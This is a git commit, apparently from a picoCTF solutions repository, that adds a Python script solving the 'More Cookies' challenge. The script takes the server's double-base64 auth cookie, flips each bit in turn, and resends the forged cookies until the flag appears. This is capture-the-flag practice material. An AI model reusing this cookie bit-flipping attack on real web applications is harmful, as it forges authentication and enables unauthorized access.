more cookies
This commit is contained in:
24
more_cookies/sol.py
Executable file
24
more_cookies/sol.py
Executable file
@@ -0,0 +1,24 @@
|
|||||||
|
#!/home/maxime/.pyvenv/bin/python3
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
|
import requests
|
||||||
|
from tqdm import tqdm
|
||||||
|
|
||||||
|
address = "http://mercury.picoctf.net:34962/"
|
||||||
|
|
||||||
|
r = requests.Session()
|
||||||
|
r.get(address)
|
||||||
|
s = r.cookies["auth_name"]
|
||||||
|
s = b64decode(s)
|
||||||
|
s = b64decode(s)
|
||||||
|
|
||||||
|
for i in tqdm(range(len(s))):
|
||||||
|
for j in range(8):
|
||||||
|
a = s[:i]
|
||||||
|
b = s[i+1:]
|
||||||
|
l = a + ((s[i] ^ (1 << j)).to_bytes(1, "big")) + b
|
||||||
|
cookie = {'auth_name': b64encode(b64encode(l)).decode()}
|
||||||
|
r = requests.get(address, cookies=cookie)
|
||||||
|
if "picoCTF{" in r.text:
|
||||||
|
print(r.text)
|
||||||
|
exit()
|
||||||
|
|
||||||
Reference in New Issue
Block a user